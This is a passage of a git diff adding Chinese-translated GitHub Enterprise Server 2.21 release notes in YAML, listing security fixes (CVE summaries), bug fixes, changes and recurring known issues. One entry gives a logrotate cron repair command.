https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '审核日志可归因于 127.0.0.1,而不是实际源 IP 地址。(更新时间:2020-11-02){% comment %} https://github.com/github/enterprise2/issues/21514 {% endcomment %}' + - "将存储库的权限配置为“会审”或“维护”失败,并显示错误消息。" + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/10.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/10.yml new file mode 100644 index 0000000000..9241ea8b92 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/10.yml @@ -0,0 +1,15 @@ +date: '2020-10-20' +sections: + security_fixes: + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/23096, https://github.com/github/enterprise2/pull/23081 {% endcomment %}' + bugs: + - '企业帐户“确认双因素要求策略”消息不正确。{% comment %} https://github.com/github/github/pull/158736 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '自定义防火墙规则在升级期间没有维护。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '审核日志可归因于 127.0.0.1,而不是实际源 IP 地址。(更新时间:2020-11-02){% comment %} https://github.com/github/enterprise2/issues/21514 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/11.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/11.yml new file mode 100644 index 0000000000..de748ef8f0 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/11.yml @@ -0,0 +1,18 @@ +date: '2020-11-03' +sections: + security_fixes: + - '**中:**高 CPU 使用可能被特殊构建的 SVN 桥请求触发,导致 SVN 桥服务上的拒绝服务 (DoS)。{% comment %} https://github.com/github/slumlord/pull/1004, https://github.com/github/slumlord/pull/1000 {% endcomment %}' + - "**低:**不正确的令牌验证导致身份验证期间匹配令牌的熵减少。分析表明,在实践中,这里没有重大的安全风险。{% comment %} https://github.com/github/github/pull/159455, https://github.com/github/github/pull/159193 {% endcomment %}" + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/23539, https://github.com/github/enterprise2/pull/23171, https://github.com/github/enterprise2/pull/23692, https://github.com/github/enterprise2/pull/23677 {% endcomment %}' + bugs: + - '使用包含非 ASCII 字符的文件名编辑问题模板将会失败,并显示“500 内部服务器错误”。{% comment %} https://github.com/github/github/pull/160589, https://github.com/github/github/pull/159747 {% endcomment %}' + - '背景作业的指标收集方法提高了 CPU 利用率。(更新时间:2020-11-03){% comment %} https://github.com/github/github/pull/160109 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '自定义防火墙规则在升级期间没有维护。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '审核日志可归因于 127.0.0.1,而不是实际源 IP 地址。{% comment %} https://github.com/github/enterprise2/issues/21514 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/12.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/12.yml new file mode 100644 index 0000000000..7f68292a85 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/12.yml @@ -0,0 +1,16 @@ +date: '2020-11-17' +sections: + security_fixes: + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/23844, https://github.com/github/enterprise2/pull/23712 {% endcomment %}' + bugs: + - 'Babeld 日志在秒与微秒之间缺少分隔符。{% comment %} https://github.com/github/babeld/pull/1005, https://github.com/github/babeld/pull/1002 {% endcomment %}' + - '当企业帐户“存储库可见性更改”策略设置为“启用”时,组织所有者无法更改组织内存储库的可见性。{% comment %} https://github.com/github/github/pull/160921, https://github.com/github/github/pull/160773 {% endcomment %}' + - '审核日志可以归因于 127.0.0.1,而不是实际的源 IP 地址。{% comment %} https://github.com/github/github/pull/162436, https://github.com/github/github/pull/161215 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - 'Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '当副本节点在高可用性配置中脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/13.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/13.yml new file mode 100644 index 0000000000..23bb387e3b --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/13.yml @@ -0,0 +1,19 @@ +date: '2020-12-03' +sections: + bugs: + - '由于 bootstrap 中的争用条件导致服务重启,授权服务被检测为运行不正常。{% comment %} https://github.com/github/authzd/pull/1278 {% endcomment %}' + - '在热补丁升级过程中,一种潜在的行为导致服务不可用。{% comment %} https://github.com/github/enterprise2/pull/24054, https://github.com/github/enterprise2/issues/23947 {% endcomment %}' + - '未正确应用日志转发 SSL 证书的子集。{% comment %} https://github.com/github/enterprise2/pull/24113, https://github.com/github/enterprise2/pull/23981 {% endcomment %}' + - '发送电子邮件通知给已经从团队或组织中移除的已停用用户。{% comment %} https://github.com/github/github/pull/162971, https://github.com/github/github/pull/162742 {% endcomment %}' + - '组织和企业之间应用 SSH 证书的方式不一致。{% comment %} https://github.com/github/github/pull/163426, https://github.com/github/github/pull/159538, https://github.com/github/authentication/issues/115 {% endcomment %}' + - '当帐户因使用不正确的密码而受到速率限制时,可能被锁定长达 24 小时。{% comment %} https://github.com/github/github/pull/163436, https://github.com/github/github/pull/162938, https://github.com/github/github-ds/pull/51 {% endcomment %}' + - '在具有许多引用的存储库上进行拉取请求同步可能导致工作进程队列落后。{% comment %} https://github.com/github/github/pull/163575, https://github.com/github/github/pull/163142 {% endcomment %}' + - '在尝试访问特定页面后登录时,用户被发送到主页,而不是其预期目的地。{% comment %} https://github.com/github/github/pull/163784, https://github.com/github/github/pull/163579, https://github.com/github/github/pull/154117, https://github.com/github/ecosystem-apps/issues/1076 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '自定义防火墙规则在升级期间没有维护。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/14.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/14.yml new file mode 100644 index 0000000000..aaf7e30402 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/14.yml @@ -0,0 +1,13 @@ +date: '2020-12-17' +sections: + security_fixes: + - '**低:**高 CPU 使用可能被特殊构建的 SVN 桥请求触发,导致 SVN 桥服务上的拒绝服务 (DoS)。{% comment %} https://github.com/github/slumlord/pull/1021, https://github.com/github/slumlord/pull/1017 {% endcomment %}' + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/24352, https://github.com/github/enterprise2/pull/23866 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - 'Git LFS 跟踪的 [通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories) 文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则问题无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '当副本节点在高可用性配置中脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/15.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/15.yml new file mode 100644 index 0000000000..20bd0c49a7 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/15.yml @@ -0,0 +1,33 @@ +date: '2021-03-02' +sections: + security_fixes: + - '**高:**在 GitHub Enterprise Server 中发现了一个不适当的访问控制漏洞,该漏洞允许已通过身份验证的实例用户通过专门制定的拉取请求和 REST API 请求获得对未经授权存储库的写入权限。攻击者需要能够创建目标存储库分支,该设置默认为组织拥有的专用存储库禁用。分支保护(如所需的拉取请求审查或状态检查)将防止未经授权的提交在未进行进一步审查或验证的情况下合并。此漏洞编号为 CVE-2021-22861。此问题通过 [GitHub Bug 赏金计划](https://bounty.github.com) 报告。' + - '**高:**在 GitHub Enterprise Server GraphQL API 中发现了一个不适当的访问控制漏洞,该漏洞允许已通过身份验证的实例用户在未经适当授权的情况下修改拉取请求的维护员协作权限。攻击者利用此漏洞将能够访问在他们作为维护员的存储库上打开的拉取请求的头部分支。默认情况下会为组织拥有的专用存储库禁用分支,可以防止此漏洞。此外,分支保护(如所需的拉取请求审查或状态检查)将防止未经授权的提交在未进行进一步审查或验证的情况下合并。此漏洞编号为 CVE-2021-22863。此问题通过 [GitHub Bug 赏金计划](https://bounty.github.com) 报告。' + - '**高:**在 GitHub Enterprise Server 中发现了一个远程代码执行漏洞,该漏洞在生成 GitHub Pages 站点时可能会被利用。GitHub Pages 使用的基础分析程序的用户控制配置没有受到足够的限制,因此可以在 GitHub Enterprise Server 实例上执行命令。若要利用此漏洞,攻击者需要获得在 GitHub Enterprise Server 实例上创建和生成 GitHub Pages 站点的权限。该漏洞编号为 CVE-2020-10519,通过 [GitHub Bug 赏金计划](https://bounty.github.com/) 报告。' + - '**中:**来自 GitHub Pages 生成的 GitHub 令牌最终可能会出现在日志中。' + - '**低:**对 SVN 桥的专门制定请求可能会在失败前触发长时间的等待,从而导致拒绝服务 (DoS)。' + - '包已更新到最新的安全版本。' + bugs: + - '在某些情况下,负载均衡器运行状况检查可能导致 babld 日志全是有关代理协议的错误。' + - '在 GitHub Enterprise 备份实用程序快照期间,信息性消息被无意中记录为错误,这导致侦听输出到 stderr 的 cron 作业在安排备份时发送不必要的电子邮件。' + - '在还原大型备份时,与 Redis 内存耗尽相关的异常记录可能导致还原因磁盘已满而失败。' + - '用户在编辑 wiki 页面时,如果单击“保存”按钮,可能会遇到 500 错误。' + - '使用主题替代名称中具有多个名称的证书签名的 S/MIME 签名提交将在提交提示标记中错误地显示为“未验证”。' + - '已暂停的用户在添加到团队时会收到电子邮件。' + - '当存储库具有大量清单时,“见解 ->依赖项关系图”选项卡上会显示错误“已达到此存储库允许的最大清单文件数 (20)”。有关详细信息,请参阅[可视化效果限制](https://docs.github.com/en/github/managing-security-vulnerabilities/troubleshooting-the-detection-of-vulnerable-dependencies#are-there-limits-which-affect-the-dependency-graph-data)。' + - '上传与之前许可证文件不同席位数的新许可证文件时,企业帐户的“设置”->“许可证”页面中不会正确表示席位差异。' + - '无法成功启用或禁用企业帐户设置中的“禁止存储库管理员更改匿名 Git 读取访问权限”复选框。' + - 'GitHub Pages 生成失败时,电子邮件通知包含了错误的支持位置链接。' + - '在闰年,用户在星期一尝试查看贡献活动时收到 404 响应。' + - '无法访问浏览**部分,出现 500 内部服务器错误。' + changes: + - '添加了对 [AWS EC2 r5b 实例类型](https://aws.amazon.com/about-aws/whats-new/2020/12/introducing-new-amazon-ec2-r5b-instances-feuring-60-gbps-of-ebbandwidth-260K-iops/)的支持。' + - '调整后台队列优先级,以更均匀地分配作业。' + known_issues: + - '在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。' + - '在升级期间不会维护自定义防火墙规则。' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。' + - '问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。' + - '对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。' + - '推送到命令行上的仓库时,不会报告安全警报。' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/16.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/16.yml new file mode 100644 index 0000000000..a9364810d0 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/16.yml @@ -0,0 +1,14 @@ +date: '2021-03-16' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 从 GitHub Enterprise Server 中导入正在丢失存储库文件的存储库存档将失败并报告错误。 + known_issues: + - 在没有任何用户的新设置的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - 在命令行上推送到存储库时不会报告安全警报。 + - "当副本节点在高可用性配置中脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/17.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/17.yml new file mode 100644 index 0000000000..0cac359bc5 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/17.yml @@ -0,0 +1,34 @@ +date: '2021-03-23' +intro: 由于影响多个客户的重大错误,已禁用下载。修复程序将在下一个补丁中提供。 +sections: + security_fixes: + - '**高:**在 GitHub Enterprise Server 中发现了一个在构建 GitHub Pages 站点时可以利用的远程代码执行漏洞。GitHub Pages 使用的用户控制配置选项没有受到足够的限制,因此可以覆盖导致在 GitHub Enterprise Server 实例上执行代码的环境变量。要利用此漏洞,攻击者需要获得在 GitHub Enterprise Server 实例上创建和构建 GitHub Pages 站点的权限。此漏洞影响 GitHub Enterprise Server 3.0.3 之前的所有版本,已在 3.0.3、2.22.9 和 2.21.17 中修复。此漏洞通过 GitHub Bug 赏金计划报告,编号为 CVE-2021-22864。' + - 包已更新到最新的安全版本。 + bugs: + - "`ghe-cluster-config-init` 运行未完全考虑后台作业的退出代码,导致预检检查的处理不当。" + changes: + - 除时间外,日志还根据大小轮换。 + - 即使有几个节点关闭,对 consul 和 nomad `bootstrap_expect` 使用相对编号也允许群集启动。 + known_issues: + - 在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - 推送到命令行上的存储库时不报告安全警报。 + - |日志轮换可能无法指示服务转换到新日志文件,导致继续使用旧日志文件,最终根磁盘空间耗尽。 + +为了补救和/或防止这个问题,请在[管理 shell](https://docs.github.com/en/enterprise-server/admin/configuration/accessing-the-administrative-shell-ssh) (SSH) 中运行以下命令,或联系 [GitHub Enterprise 支持](https://support.github.com/contact)寻求协助: + + + +``` + +printf "PATH=/usr/local/sbin:/usr/local/bin:/usr/local/share/enterprise:/usr/sbin:/usr/bin:/sbin:/bin\n29,59 * * * * root /usr/sbin/logrotate /etc/logrotate.conf\n" | sudo sponge /etc/cron.d/logrotate + +sudo /usr/sbin/logrotate -f /etc/logrotate.conf + +``` + +| + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/18.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/18.yml new file mode 100644 index 0000000000..b6e86259eb --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/18.yml @@ -0,0 +1,16 @@ +date: '2021-04-01' +sections: + security_fixes: + - "**高:** 在 GitHub Enterprise Server 中发现了一个不适当的访问控制漏洞,该漏洞允许根据 GitHub 应用的 [Web 身份验证流](https://docs.github.com/en/developers/apps/identifying-and-authorizing-users-for-github-apps#web-application-flow) 生成的访问令牌通过 REST API 读取专用存储库元数据,而无需获取适当的权限。若要攻击这个漏洞,攻击者需要在实例上创建 GitHub 应用,并让用户通过 Web 身份验证流对应用程序进行授权。返回的专用存储库元数据将仅限于令牌标识的用户拥有的存储库。此漏洞影响 GitHub Enterprise Server 3.0.4 之前的所有版本,并已在 3.0.4、2.22.10 和 2.21.18 版本中修复。此漏洞编号为 CVE-2021-22865,并通过 [GitHub Bug 赏金计划](https://bounty.github.com/) 进行报告。" + - 包已更新到最新的安全版本。 + bugs: + - 服务未作为日志轮换的一部分转换到新的日志文件,导致磁盘使用量增加。 + - 内部存储库搜索结果上的标签显示为“专用”而不是“内部”。 + known_issues: + - 在没有任何用户的新设置的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - 在命令行上推送到存储库时不会报告安全警报。 + - '当副本节点在高可用性配置中脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/19.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/19.yml new file mode 100644 index 0000000000..d9ccb888bb --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/19.yml @@ -0,0 +1,18 @@ +date: '2021-04-14' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - '在副本升级期间可能会出现警告消息 `jq: error (at :0): Cannot index number with string "settings"`。' + - 访问 `/settings/email` 页面会存储在退出登录并重新登录时可能导致错误重定向的状态。 + - 对于其通告在 `vulnerable_version_ranges` 中具有大写包名称的一些组件,未显示依赖项关系图警报。 + - 用户在配置了 LDAP 身份验证的实例上执行 git 操作时会看到 500 错误。 + - 当 ghe-migrator 遇到导入错误时,它有时会中止整个进程,但日志中没有包含足够的上下文。 + known_issues: + - 在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - 在命令行上推送到存储库时不会报告安全警报。 + - '当副本节点在高可用性配置中脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/2.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/2.yml new file mode 100644 index 0000000000..f3d8d4e493 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/2.yml @@ -0,0 +1,21 @@ +date: '2020-07-09' +sections: + security_fixes: + - '**中:** 将 nginx 更新到 1.16.1 并解决了 CVE-2019-20372。(更新于 2020-07-22){% comment %} https://github.com/github/enterprise2/pull/21252 {% endcomment %}' + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/21089, https://github.com/github/enterprise2/pull/21036 {% endcomment %}' + bugs: + - '一些特定日志文件不会每 7 天轮换一次。{% comment %} https://github.com/github/enterprise2/pull/21279, https://github.com/github/enterprise2/pull/21264 {% endcomment %}' + - '快速重新使用 webhook 源端口导致拒绝连接。{% comment %} https://github.com/github/enterprise2/pull/21286, https://github.com/github/enterprise2/pull/21280 {% endcomment %}' + - '不正确的背景作业可能尝试在配置为被动副本的实例上运行。{% comment %} https://github.com/github/enterprise2/pull/21317, https://github.com/github/enterprise2/pull/21212, https://github.com/github/enterprise2/issues/21167 {% endcomment %}' + - '节点之间的 VPN 可能会变得不稳定,导致记录错误并且可用的根卷空间被耗尽。{% comment %} https://github.com/github/enterprise2/pull/21360, https://github.com/github/enterprise2/pull/21357 {% endcomment %}' + - '内部仓库未正确包含在启用 SAML 的组织的搜索结果中。{% comment %} https://github.com/github/github/pull/147505, https://github.com/github/github/pull/145692 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - 'Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '审核日志可归因于 127.0.0.1,而不是实际源 IP 地址。(更新时间:2020-11-02){% comment %} https://github.com/github/enterprise2/issues/21514 {% endcomment %}' + - "将存储库的权限配置为“会审”或“维护”失败,并显示错误消息。" + - '当副本节点在高可用性配置中脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/20.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/20.yml new file mode 100644 index 0000000000..35cf37ce02 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/20.yml @@ -0,0 +1,19 @@ +date: '2021-04-28' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 在 MySQL 副本上运行的安装脚本可能导致数据库故障转移期间不必要的数据库重新播种。 + - '由于不必要地调用 `rake db:migrate`,`config-apply` 可能需要更长的时间。' + - Orchestrator 可能已故障转移到 MySQL 副本,当主数据库无法连接时,它无法在播种阶段从主数据库复制。 + - 出现错误的组织或项目阻止了迁移,无法排除。 + changes: + - 默认情况下,预检检查允许所有 AWS 实例类型。 + known_issues: + - 在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含文件路径长于 255 个字符的同一存储库中 blob 的永久链接,则问题无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - 推送到命令行上的存储库时不报告安全警报。 + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/21.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/21.yml new file mode 100644 index 0000000000..6f3f8092e2 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/21.yml @@ -0,0 +1,15 @@ +date: '2021-05-13' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 在配置应用阶段可以启用 Orchestrator 自动故障转移。 + - 具有存储库维护员权限的用户会收到电子邮件验证警告,而不是在存储库 Pages 设置页面上构建成功的页面。 + known_issues: + - 在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - 推送到命令行上的仓库时,不会报告安全警报。 + - '当副本节点在高可用性配置下离线时,{% data 